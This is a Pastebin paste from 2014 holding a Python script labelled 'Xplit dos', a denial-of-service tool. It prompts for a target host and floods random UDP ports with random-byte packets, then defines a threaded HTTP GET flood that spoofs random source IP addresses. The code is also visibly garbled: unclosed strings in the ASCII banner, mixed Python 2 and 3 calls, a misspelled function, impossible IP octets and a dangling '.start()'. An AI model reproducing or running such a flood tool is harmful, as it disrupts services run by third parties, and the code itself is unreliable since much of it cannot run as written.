Advertisement
ZeekoSec

Untitled

Dec 18th, 2014
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.76 KB | None | 0 0
  1. import socket
  2. import random
  3. import sys
  4. import time
  5. import os
  6. import http.client
  7. from random import randint
  8. import threading
  9.  
  10.  
  11. if sys.platform == "linux2":
  12. os.system("clear")
  13. elif sys.platform == "win32":
  14. os.system("cls")
  15. else:
  16. os.system("clear")
  17.  
  18. print(" ____
  19. print(" __,-~~/~ `---.
  20. print(" _/_,---( , )
  21. print(" __ / < / ) \___
  22. print("- ------===;;;'====------------------===;;;===----- - -
  23. print(" \/ ~"~"~"~"~"~\~"~)~"/
  24. print(" (_ ( \ ( > \)
  25. print(" \_( _ < >_>'
  26. print(" ~ `-i' ::>|--"
  27. print(" I;|.|.|
  28. print(" <|i::|i|`.
  29. print(" (` ^'"`-' ")
  30. print(" .-~~-----------------------~~-.
  31. print(" | Xplit dos |
  32.  
  33. target = raw_input("Insert target's IP/HOSTNAME!): ")
  34. print("---")
  35. package = input(" How much dynamite do you want to use? "package size" [ MAXIMIUM 65500]: ")
  36. print("---")
  37. duration = input("Set duration of attack (0 is infinite!!): ")
  38. durclock = (lambda:0, time.clock)[duration > 0]
  39. duration = (1, (durclock() + duration))[duration > 0]
  40. packet = random._urandom(package)
  41. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  42. print("---")
  43. print("Bombing target on %s with %s bytes for %s seconds." % (target, package, duration))
  44. while True:
  45. if (durclock() < duration):
  46. port = random.randint(1, 65535)
  47. sock.sendto(packet, (target, port))
  48. else:
  49. break
  50. #
  51. randomize = True
  52. src = None
  53. dst = None
  54. port = None
  55. conn = None
  56.  
  57. class Xplit(threading.Thread):
  58. global randomize, src, dst, port, conn
  59.  
  60. def __init__(self):
  61. threading.Thread.__init__(self)
  62.  
  63. def build_conn(_src, _dst, _port):
  64. return http.client.HTTPConnection(host = _dst, port = _port, timeout = 5, source_address = _src)
  65.  
  66. def gen_ip():
  67. return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())
  68.  
  69. def rand():
  70. return randit(1, 350)
  71.  
  72. def run():
  73. conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
  74. conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")
  75.  
  76. def show_help(bin):
  77. print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)
  78.  
  79. def begin():
  80. while True:
  81. if threading.activeCount() <= 666:
  82. .start()
  83.  
  84. if __name__ == '__main__':
  85. if len(sys.argv) == 4:
  86. src = sys.argv[1]
  87. dst = sys.argv[2]
  88. port = sys.argv[3]
  89. elif len(sys.argv) == 3:
  90. randomize = True
  91. dst = sys.argv[1]
  92. port = sys.argv[2]
  93. else:
  94. show_help(sys.argv[0])
  95. exit()
  96.  
  97. print("---")
  98. print("The attack completed on %s for %s seconds." % (target, duration)")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement